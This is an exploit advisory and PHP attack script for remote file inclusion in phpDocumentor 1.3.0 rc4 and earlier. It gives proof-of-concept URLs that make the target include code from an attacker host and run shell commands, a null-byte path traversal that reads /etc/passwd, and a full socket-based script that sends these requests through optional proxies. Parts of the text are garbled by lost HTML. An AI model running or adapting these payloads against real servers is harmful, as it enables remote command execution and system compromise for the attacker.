**PhpDocumentor <= 1.3.0 rc4 remote commands execution**

---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion --- software: site: http://www.phpdoc.org/ description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu, is the current standard auto-documentation tool for the php language. Similar to Javadoc, and written in php, phpDocumentor can be used from the command line or a web interface to create professional documentation from php source code." -------------------------------------------------------------------- i) vulnerable code in Documentation/tests/bug-559668.php at line 4: ... require_once $FORUM['LIB'] . '/classes/db/PearDb.php'; ... poc: if register_globals on and allow_url_fopen on http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?cmd=ls%20-la&FORUM[LIB]=http://[attacker] where on http://[attacker]/classes/db/PearDb.php/index.html you have this code: also, if magic_quotes_gpc off: http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=http://[attacker]/script.txt%00 http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00 -------------------------------------------------------------------- ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56: ... /** * common file information */ include_once("$root_dir/phpDocumentor/common.inc.php"); [!] include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php"); [!] include_once("$root_dir/docbuilder/includes/utilities.php" ); [!] $root_dir = dirname(dirname(__FILE__)); [!!!!!!!!] ... poc: http://[target]/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=ls%20-la&root_dir=http://[attacker] where on http://[attacker]/phpDocumentor/common.inc.php/index.html you have the same code -------------------------------------------------------------------- exploit: **PhpDocumentor <= 1.3.0 rc4 remote commands execution**

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port]; $CMD=$_POST[CMD]; $LOCATION=$_POST[LOCATION]; if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $CMD=urlencode($CMD); $packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCATION." HTTP/1.1\r\n"; $packet.="User-Agent: Shareaza v1.x.x.xx\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;} else {echo "Trying Step 2...
";} $packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1\r\n"; $packet.="User-Agent: SnoopRob/x.x\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; } else {echo "Exploit failed...";} } else {echo "Note: on remote location prepare this code in
http:/[remote_location]/classes/db/PearDb.php/index.html
and in
http://[remote_location]/phpDocumentor/common.inc.php/index.html:
"; echo nl2br(htmlentities(" ")); echo "
Note 2: if magic_quotes_off on target server
you can truncate location name with a null char, ex.:
http://[remote_location]/your_file.txt%00

Fill * required fields, optionally specify a proxy...";} ?> -------------------------------------------------------------------- rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original adivsory: http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html --------------------------------------------------------------------